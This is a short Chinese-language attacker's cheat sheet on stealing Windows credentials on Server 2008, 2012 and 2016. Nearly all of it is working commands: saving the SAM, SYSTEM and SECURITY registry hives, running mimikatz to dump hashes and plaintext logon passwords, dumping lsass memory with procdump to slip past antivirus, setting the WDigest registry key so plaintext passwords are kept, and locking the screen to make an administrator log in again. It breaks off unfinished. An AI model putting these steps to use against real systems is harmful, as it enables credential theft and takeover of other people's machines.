Windows 获取Hash手法
Windows server 2008:
【1】当sam文件被占用时,利用reg(注册表)导出文件三个文件(需要administrator权限)
reg save HKLM\sam C:\sam.hive
reg save HKLM\system C:\system.hive
reg save HKLM\security C:\security.hive
再把三个文件放到mimikatz同目录下执行命令,在当前目录下会生成一个log.txt
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" "exit" >log.txt
================================================================================
【2】从lsass进程中,读取明文密码(需要administrator权限)
先将mimikatz.exe、mimikatz.dll、sysdig.dll 上传至目标系统,然后目录下执行如下命令
开cmd敲命令:mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full" "exit" >hash.txt
================================================================================
【3】如果存在杀软,则利用Procdump工具把进程对应的内存空间中的数据,转存为文件
因为Procdump工具是微软开发的工具所以一般不会杀掉,有32和64位的!
把工具上传至目标系统然后执行命令procdump64.exe -accepteula -ma lsass.exe lsass
把lsass.dmp文件下载到自己的攻击机上使用mimikatz进行抓取Hash
================================================================================
WindowsServer2016
在win2008以上中lsass.exe已经不在存在明文密码了,没有修改注册表只能抓到Hash
所以我们这里利用修改注册表读取明文密码,改了不能直接抓还得需要用户重新输入密码登录
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
使用一些其他的手段,使管理员重新输入密码登录,锁屏、重启......登录后就可以抓到明文
================================================================================
WindowsServer2012
2012和2016差不多都一样!!!就是修改注册有点差别,也是一样抓不到明文密码
修改注册命令如下,注:2012必须重启或关机才行,否则不行,然后再mimikatz抓密码
reg add hkey_local_machine\system\currentcontrolset\control\securityproviders\wdigest /v uselogoncredential /t reg_dword /d 1
重新登录手法:
锁屏 cmd命令: rundll32.exe user32.dll,LockWorkStation 用户重新登录时会记录明文密码! 未完!